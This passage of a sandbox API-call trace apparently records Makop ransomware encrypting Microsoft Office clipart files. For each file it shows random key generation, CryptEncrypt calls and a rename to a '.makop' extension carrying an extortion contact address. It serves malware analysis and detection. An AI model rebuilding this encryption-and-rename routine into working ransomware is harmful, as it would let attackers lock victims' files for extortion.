nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x150, lpOverlapped=0x0) returned 1 [0154.387] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.387] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.387] SetEndOfFile (hFile=0xf0) returned 1 [0154.394] GetProcessHeap () returned 0x48a0000 [0154.394] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.394] GetProcessHeap () returned 0x48a0000 [0154.394] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.394] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.394] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.450] CloseHandle (hObject=0xf0) returned 1 [0154.450] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x866d0200, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x866d0200, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01241_.GIF", cAlternateFileName="")) returned 1 [0154.450] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF") returned 63 [0154.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.451] GetProcessHeap () returned 0x48a0000 [0154.452] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.452] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.452] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.452] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0154.455] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.456] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.456] GetProcessHeap () returned 0x48a0000 [0154.456] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.456] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.456] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.456] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.456] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.457] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.457] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.457] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.457] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.457] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.457] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.458] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.458] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x182, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x182, lpOverlapped=0x0) returned 1 [0154.458] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x190, dwBufLen=0x190 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x190) returned 1 [0154.458] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.458] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x190, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x190, lpOverlapped=0x0) returned 1 [0154.458] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.458] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.459] SetEndOfFile (hFile=0xf0) returned 1 [0154.465] GetProcessHeap () returned 0x48a0000 [0154.465] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.465] GetProcessHeap () returned 0x48a0000 [0154.465] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.465] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.465] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.469] CloseHandle (hObject=0xf0) returned 1 [0154.470] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e14c700, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e14c700, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01242_.GIF", cAlternateFileName="")) returned 1 [0154.470] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF") returned 63 [0154.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.471] GetProcessHeap () returned 0x48a0000 [0154.471] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.471] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.471] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.471] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.475] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.475] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.475] GetProcessHeap () returned 0x48a0000 [0154.475] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.475] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.475] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.475] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.475] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.475] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.476] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.476] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.476] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.476] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.476] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.476] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.477] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x158, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x158, lpOverlapped=0x0) returned 1 [0154.477] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x160, dwBufLen=0x160 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x160) returned 1 [0154.477] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.477] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x160, lpOverlapped=0x0) returned 1 [0154.477] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.477] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x234, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.477] SetEndOfFile (hFile=0xf0) returned 1 [0154.484] GetProcessHeap () returned 0x48a0000 [0154.484] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.484] GetProcessHeap () returned 0x48a0000 [0154.484] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.484] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.484] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.489] CloseHandle (hObject=0xf0) returned 1 [0154.489] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b01f700, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b01f700, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x1af, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01243_.GIF", cAlternateFileName="")) returned 1 [0154.489] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF") returned 63 [0154.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.491] GetProcessHeap () returned 0x48a0000 [0154.491] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.491] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.492] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.492] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0154.495] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.495] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.495] GetProcessHeap () returned 0x48a0000 [0154.496] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.496] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.496] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.496] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.496] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.496] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.496] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.497] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.497] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.497] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.497] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.497] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.497] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1af, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1af, lpOverlapped=0x0) returned 1 [0154.497] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b0, dwBufLen=0x1b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b0) returned 1 [0154.497] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.498] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1b0, lpOverlapped=0x0) returned 1 [0154.498] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.498] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.498] SetEndOfFile (hFile=0xf0) returned 1 [0154.505] GetProcessHeap () returned 0x48a0000 [0154.505] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.505] GetProcessHeap () returned 0x48a0000 [0154.505] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.505] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.505] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.508] CloseHandle (hObject=0xf0) returned 1 [0154.508] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b82ae00, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b82ae00, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01244_.GIF", cAlternateFileName="")) returned 1 [0154.509] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF") returned 63 [0154.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.510] GetProcessHeap () returned 0x48a0000 [0154.510] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.510] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.510] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.510] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0154.514] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.514] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.514] GetProcessHeap () returned 0x48a0000 [0154.514] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.514] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.514] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.514] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.515] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.516] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.516] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.516] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.516] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.516] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.516] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.516] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.516] ReadFile (in: 